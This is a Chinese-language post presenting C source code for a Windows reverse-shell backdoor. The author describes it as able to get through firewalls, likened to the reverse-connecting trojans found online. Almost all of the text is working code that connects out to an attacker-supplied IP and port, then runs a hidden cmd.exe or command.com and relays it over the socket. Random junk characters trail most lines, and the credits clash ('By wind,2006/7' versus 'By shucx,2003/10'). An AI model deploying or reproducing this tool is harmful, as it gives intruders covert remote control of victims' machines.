这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {?8rvAjY
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/* ============================== ?g 3sv5\u
Rebound port in Windows NT j'Fni4;
By wind,2006/7 '>Z
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===============================*/ d$!ibL#o
#include `!i>fo~
#include <*L8kNykK
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#pragma comment(lib,"wsock32.lib") 5lT lZRH1
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void OutputShell(); 2'D2>^os
SOCKET sClient; j9%=^ZoQj
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {'/8{dS
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void main(int argc,char **argv) JH 8^ZP:d'
{ r;-\z(h
WSADATA stWsaData; @ Fu|et
int nRet; #(%6urd
SOCKADDR_IN stSaiClient,stSaiServer; QgP
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if(argc != 3) w0pH|$"/P
{ B{44|aq1 |
printf("Useage:\n\rRebound DestIP DestPort\n"); gD-<^Q-
return; xu3qX"
} Ra/S46$
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WSAStartup(MAKEWORD(2,2),&stWsaData); T!8,R{V]4
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SO|$X
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stSaiClient.sin_family = AF_INET; "_lSw3
stSaiClient.sin_port = htons(0); ?Pa5skqR
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _T1|_9b
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 7v{Dwg
{ >y5~:L
printf("Bind Socket Failed!\n"); ct`89~"
return; [j):2
} -{^Gzui
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stSaiServer.sin_family = AF_INET; b^0=X!bg
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); q%nWBmPZ~y
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); {Wt=NI?Ow
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) gkDB8,C<j
{ f|u!?NGl
printf("Connect Error!"); >mz<=n
return; HZ/e^"cpM
}
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OutputShell(); uZCPxog
} L+&$/1h]
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void OutputShell() Zv-#v
{ q.*k
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char szBuff[1024]; _G@)Bj^*
SECURITY_ATTRIBUTES stSecurityAttributes; [:Sl^ Z&6M
OSVERSIONINFO stOsversionInfo; -GH>12YP
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :U=*@p4?
STARTUPINFO stStartupInfo; o^mW`g8[
char *szShell; #>}cuC@
PROCESS_INFORMATION stProcessInformation; t~3!| @3i
unsigned long lBytesRead; `$05+UU
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); jx J5F3d
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (V&$KDOA
stSecurityAttributes.lpSecurityDescriptor = 0; w~Aw?75t
stSecurityAttributes.bInheritHandle = TRUE; v#TU7v?~
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); c1Skt
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); =nGgk}Z
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); H>X:#xOA_
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1
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stStartupInfo.wShowWindow = SW_HIDE; zt6GJz1q
stStartupInfo.hStdInput = hReadPipe; Kqm2TMO]>V
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; y2KR^/LN|Y
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GetVersionEx(&stOsversionInfo); h:xvnyaI
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switch(stOsversionInfo.dwPlatformId) 0-6rIdDTM
{ :pq+SifP
case 1: -e(e;e
szShell = "command.com"; `p#tx.o
break; 4}`z^P<C
default: $i1$nc8
szShell = "cmd.exe"; wNtC5
break; :<hM@>eFn
} #A\@)wJ
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); f3^Anaa]l
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send(sClient,szMsg,77,0); R.(PZC vS
while(1) Qco8m4n
{ F$M^}vsjGx
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); pLSh
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if(lBytesRead) FJCs$0
{ 7H.3.j(L
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ? fW['%
send(sClient,szBuff,lBytesRead,0); e>0gE`8A
} SMonJ;Y
else AT%6K.
{ {^8?fJ/L
lBytesRead=recv(sClient,szBuff,1024,0); w{mw?0
if(lBytesRead<=0) break; rny(8z%Ck-
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); s5h}MXIXw
} MroN=%|t
} xIA] 5@;a
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return; 'hR0JXy
}